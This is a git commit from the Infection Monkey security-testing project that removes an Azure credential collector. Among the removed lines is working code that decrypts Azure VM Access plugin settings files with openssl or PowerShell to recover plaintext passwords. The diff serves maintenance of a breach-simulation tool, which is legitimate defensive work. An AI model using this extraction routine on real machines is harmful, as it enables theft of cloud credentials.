Merge pull request #1590 from guardicore/1535-azure-collector-removal

1535 azure collector removal
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VakarisZ 2021-11-16 09:47:03 +02:00 committed by GitHub
commit c3c1b27049
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14 changed files with 3 additions and 259 deletions

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@ -97,7 +97,6 @@
"lines": [
" from common.common_consts.system_info_collectors_names import (",
" AWS_COLLECTOR,",
" AZURE_CRED_COLLECTOR,",
" ENVIRONMENT_COLLECTOR,",
"* HOSTNAME_COLLECTOR,",
" MIMIKATZ_COLLECTOR,",
@ -116,8 +115,7 @@
" AWS_COLLECTOR,",
"* HOSTNAME_COLLECTOR,",
" PROCESS_LIST_COLLECTOR,",
" MIMIKATZ_COLLECTOR,",
" AZURE_CRED_COLLECTOR,"
" MIMIKATZ_COLLECTOR,"
]
},
{

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@ -24,6 +24,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
- Remove serialization of config. #1537
- Checkbox that gave the option to not try to first move the dropper file. #1537
- Custom singleton mutex name config option. #1589
- Azure credential collector, because it was broken (not gathering credentials). #1535
### Fixed
- A bug in network map page that caused delay of telemetry log loading. #1545

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@ -3,4 +3,3 @@ HOSTNAME_COLLECTOR = "HostnameCollector"
ENVIRONMENT_COLLECTOR = "EnvironmentCollector"
PROCESS_LIST_COLLECTOR = "ProcessListCollector"
MIMIKATZ_COLLECTOR = "MimikatzCollector"
AZURE_CRED_COLLECTOR = "AzureCollector"

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@ -11,7 +11,6 @@
"current_server": "192.0.2.0:5000",
"alive": true,
"collect_system_info": true,
"extract_azure_creds": true,
"should_use_mimikatz": true,
"depth": 2,

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@ -4,9 +4,7 @@ from enum import IntEnum
import psutil
from common.common_consts.system_info_collectors_names import AZURE_CRED_COLLECTOR
from infection_monkey.network.info import get_host_subnets
from infection_monkey.system_info.azure_cred_collector import AzureCollector
from infection_monkey.system_info.system_info_collectors_handler import SystemInfoCollectorsHandler
logger = logging.getLogger(__name__)
@ -63,7 +61,6 @@ class InfoCollector(object):
def get_info(self):
# Collect all hardcoded
self.get_network_info()
self.get_azure_info()
# Collect all plugins
SystemInfoCollectorsHandler().execute_all_configured()
@ -77,35 +74,3 @@ class InfoCollector(object):
"""
logger.debug("Reading subnets")
self.info["network_info"] = {"networks": get_host_subnets()}
def get_azure_info(self):
"""
Adds credentials possibly stolen from an Azure VM instance (if we're on one)
Updates the credentials structure, creating it if necessary (compat with mimikatz)
:return: None. Updates class information
"""
# noinspection PyBroadException
try:
from infection_monkey.config import WormConfiguration
if AZURE_CRED_COLLECTOR not in WormConfiguration.system_info_collector_classes:
return
logger.debug("Harvesting creds if on an Azure machine")
azure_collector = AzureCollector()
azure_creds = azure_collector.extract_stored_credentials()
for cred in azure_creds:
username = cred[0]
password = cred[1]
if username not in self.info["credentials"]:
self.info["credentials"][username] = {}
# we might be losing passwords in case of multiple reset attempts on same username
# or in case another collector already filled in a password for this user
self.info["credentials"][username]["password"] = password
self.info["credentials"][username]["username"] = username
if len(azure_creds) != 0:
self.info["Azure"] = {}
self.info["Azure"]["usernames"] = [cred[0] for cred in azure_creds]
except Exception:
# If we failed to collect azure info, no reason to fail all the collection. Log and
# continue.
logger.error("Failed collecting Azure info.", exc_info=True)

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@ -1,131 +0,0 @@
import glob
import json
import logging
import os.path
import subprocess
import sys
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
logger = logging.getLogger(__name__)
class AzureCollector(object):
"""
Extract credentials possibly saved on Azure VM instances by the VM Access plugin
"""
def __init__(self):
if sys.platform.startswith("win"):
self.path = (
"C:\\Packages\\Plugins\\Microsoft.Compute.VmAccessAgent\\2.4.2\\RuntimeSettings"
)
self.extractor = AzureCollector.get_pass_windows
else:
self.path = "/var/lib/waagent/Microsoft.OSTCExtensions.VMAccessForLinux-1.4.7.1/config"
self.extractor = AzureCollector.get_pass_linux
self.file_list = glob.iglob(os.path.join(self.path, "*.settings"))
def extract_stored_credentials(self):
"""
Returns a list of username/password pairs saved under configuration files
:return: List of (user/pass), possibly empty
"""
results = [self.extractor(filepath) for filepath in self.file_list]
results = [x for x in results if x]
logger.info("Found %d Azure VM access configuration file", len(results))
return results
@staticmethod
def get_pass_linux(filepath):
"""
Extract passwords from Linux azure VM Access files
:return: Username, password
"""
linux_cert_store = "/var/lib/waagent/"
try:
json_data = json.load(open(filepath, "r"))
# this is liable to change but seems to be stable over the last year
protected_data = json_data["runtimeSettings"][0]["handlerSettings"]["protectedSettings"]
cert_thumbprint = json_data["runtimeSettings"][0]["handlerSettings"][
"protectedSettingsCertThumbprint"
]
base64_command = """openssl base64 -d -a"""
priv_path = os.path.join(linux_cert_store, "%s.prv" % cert_thumbprint)
b64_proc = subprocess.Popen(
base64_command.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE
)
b64_result = b64_proc.communicate(input=protected_data + "\n")[0]
decrypt_command = "openssl smime -inform DER -decrypt -inkey %s" % priv_path
decrypt_proc = subprocess.Popen(
decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE
)
decrypt_raw = decrypt_proc.communicate(input=b64_result)[0]
decrypt_data = json.loads(decrypt_raw)
T1005Telem(ScanStatus.USED, "Azure credentials", "Path: %s" % filepath).send()
T1064Telem(ScanStatus.USED, "Bash scripts used to extract azure credentials.").send()
return decrypt_data["username"], decrypt_data["password"]
except IOError:
logger.warning("Failed to parse VM Access plugin file. Could not open file")
return None
except (KeyError, ValueError):
logger.warning("Failed to parse VM Access plugin file. Invalid format")
return None
except subprocess.CalledProcessError:
logger.warning(
"Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data"
)
return None
@staticmethod
def get_pass_windows(filepath):
"""
Extract passwords from Windows azure VM Access files
:return: Username,password
"""
try:
json_data = json.load(open(filepath, "r"))
# this is liable to change but seems to be stable over the last year
protected_data = json_data["runtimeSettings"][0]["handlerSettings"]["protectedSettings"]
username = json_data["runtimeSettings"][0]["handlerSettings"]["publicSettings"][
"UserName"
]
# we're going to do as much of this in PS as we can.
ps_block = ";\n".join(
[
'[System.Reflection.Assembly]::LoadWithPartialName("System.Security") | '
"Out-Null",
'$base64 = "%s"' % protected_data,
"$content = [Convert]::FromBase64String($base64)",
"$env = New-Object Security.Cryptography.Pkcs.EnvelopedCms",
"$env.Decode($content)",
"$env.Decrypt()",
"$utf8content = [text.encoding]::UTF8.getstring($env.ContentInfo.Content)",
"Write-Host $utf8content", # we want to simplify parsing
]
)
ps_proc = subprocess.Popen(
["powershell.exe", "-NoLogo"], stdin=subprocess.PIPE, stdout=subprocess.PIPE
)
ps_out = ps_proc.communicate(ps_block)[0]
# this is disgusting but the alternative is writing the file to disk...
password_raw = ps_out.split("\n")[-2].split(">")[1].split("$utf8content")[1]
password = json.loads(password_raw)["Password"]
T1005Telem(ScanStatus.USED, "Azure credentials", "Path: %s" % filepath).send()
T1064Telem(
ScanStatus.USED, "Powershell scripts used to extract azure credentials."
).send()
return username, password
except IOError:
logger.warning("Failed to parse VM Access plugin file. Could not open file")
return None
except (KeyError, ValueError, IndexError):
logger.warning("Failed to parse VM Access plugin file. Invalid format")
return None
except subprocess.CalledProcessError:
logger.warning(
"Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data"
)
return None

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@ -14,7 +14,6 @@ class ConfigSchemaPerAttackTechnique:
"T1003": {
"System Info Collectors": [
"Mimikatz collector",
"Azure credential collector"
]
}
}

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@ -1,6 +1,5 @@
from common.common_consts.system_info_collectors_names import (
AWS_COLLECTOR,
AZURE_CRED_COLLECTOR,
ENVIRONMENT_COLLECTOR,
HOSTNAME_COLLECTOR,
MIMIKATZ_COLLECTOR,
@ -53,13 +52,5 @@ SYSTEM_INFO_COLLECTOR_CLASSES = {
"info": "Collects a list of running processes on the machine.",
"attack_techniques": ["T1082"],
},
{
"type": "string",
"enum": [AZURE_CRED_COLLECTOR],
"title": "Azure Credential Collector",
"safe": True,
"info": "Collects password credentials from Azure VMs",
"attack_techniques": ["T1003", "T1005"],
},
],
}

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@ -1,6 +1,5 @@
from common.common_consts.system_info_collectors_names import (
AWS_COLLECTOR,
AZURE_CRED_COLLECTOR,
ENVIRONMENT_COLLECTOR,
HOSTNAME_COLLECTOR,
MIMIKATZ_COLLECTOR,
@ -94,7 +93,6 @@ MONKEY = {
HOSTNAME_COLLECTOR,
PROCESS_LIST_COLLECTOR,
MIMIKATZ_COLLECTOR,
AZURE_CRED_COLLECTOR,
],
},
},

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@ -86,7 +86,6 @@ class AWSExporter(Exporter):
ExploiterDescriptorEnum.STRUTS2.value.class_name: AWSExporter._handle_struts2_issue,
ExploiterDescriptorEnum.WEBLOGIC.value.class_name: AWSExporter._handle_weblogic_issue,
ExploiterDescriptorEnum.HADOOP.value.class_name: AWSExporter._handle_hadoop_issue,
# azure and conficker are not relevant issues for an AWS env
}
configured_product_arn = INFECTION_MONKEY_ARN

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@ -97,24 +97,6 @@ class ReportService:
for tunnel in mongo.db.monkey.find({"tunnel": {"$exists": True}}, {"tunnel": 1})
]
@staticmethod
def get_azure_issues():
creds = ReportService.get_azure_creds()
machines = set([instance["origin"] for instance in creds])
logger.info("Azure issues generated for reporting")
return [
{
"type": "azure_password",
"machine": machine,
"users": set(
[instance["username"] for instance in creds if instance["origin"] == machine]
),
}
for machine in machines
]
@staticmethod
def get_scanned():
formatted_nodes = []
@ -249,30 +231,6 @@ class ReportService:
creds.extend(ssh_keys)
return creds
@staticmethod
def get_azure_creds():
"""
Recover all credentials marked as being from an Azure machine
:return: List of credentials.
"""
creds = []
for telem in mongo.db.telemetry.find(
{"telem_category": "system_info", "data.Azure": {"$exists": True}},
{"data.Azure": 1, "monkey_guid": 1},
):
azure_users = telem["data"]["Azure"]["usernames"]
if len(azure_users) == 0:
continue
origin = NodeService.get_monkey_by_guid(telem["monkey_guid"])["hostname"]
azure_leaked_users = [
{"username": user.replace(",", "."), "type": "Clear Password", "origin": origin}
for user in azure_users
]
creds.extend(azure_leaked_users)
logger.info("Azure machines creds generated for reporting")
return creds
@staticmethod
def process_exploit(exploit) -> ExploiterReportInfo:
exploiter_type = exploit["data"]["exploiter"]
@ -628,7 +586,6 @@ class ReportService:
"scanned": scanned_nodes,
"exploited_cnt": exploited_cnt,
"stolen_creds": ReportService.get_stolen_creds(),
"azure_passwords": ReportService.get_azure_creds(),
"ssh_keys": ReportService.get_ssh_keys(),
"strong_users": PTHReportService.get_strong_users_on_crit_details(),
},
@ -645,7 +602,6 @@ class ReportService:
ReportService.get_exploits,
ReportService.get_tunnels,
ReportService.get_island_cross_segment_issues,
ReportService.get_azure_issues,
PTHReportService.get_duplicated_passwords_issues,
PTHReportService.get_strong_users_on_crit_issues,
]

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@ -43,7 +43,6 @@ import {
import {tunnelIssueReport, tunnelIssueOverview} from './security/issues/TunnelIssue';
import {stolenCredsIssueOverview} from './security/issues/StolenCredsIssue';
import {weakPasswordIssueOverview} from './security/issues/WeakPasswordIssue';
import {azurePasswordIssueOverview, azurePasswordIssueReport} from './security/issues/AzurePasswordIssue';
import {strongUsersOnCritIssueReport} from './security/issues/StrongUsersOnCritIssue';
import {
zerologonIssueOverview,
@ -177,11 +176,6 @@ class ReportPageComponent extends AuthComponent {
[this.issueContentTypes.REPORT]: strongUsersOnCritIssueReport,
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
},
'azure_password': {
[this.issueContentTypes.OVERVIEW]: azurePasswordIssueOverview,
[this.issueContentTypes.REPORT]: azurePasswordIssueReport,
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER
},
'weak_password': {
[this.issueContentTypes.OVERVIEW]: weakPasswordIssueOverview,
[this.issueContentTypes.TYPE]: this.issueTypes.DANGER

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@ -1,23 +0,0 @@
import React from 'react';
import CollapsibleWellComponent from '../CollapsibleWell';
export function azurePasswordIssueOverview() {
return (<li>Azure machines expose plaintext passwords. (<a
href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/"
>More info</a>)</li>)
}
export function azurePasswordIssueReport(issue) {
return (
<>
Delete VM Access plugin configuration files.
<CollapsibleWellComponent>
Credentials could be stolen from <span
className="badge badge-primary">{issue.machine}</span> for the following users <span
className="badge badge-primary">{issue.users}</span>. Read more about the security issue and remediation <a
href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/"
>here</a>.
</CollapsibleWellComponent>
</>
);
}

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@ -162,8 +162,7 @@
"awscollector",
"hostnamecollector",
"processlistcollector",
"mimikatzcollector",
"azurecollector"
"mimikatzcollector"
]
},
"persistent_scanning": {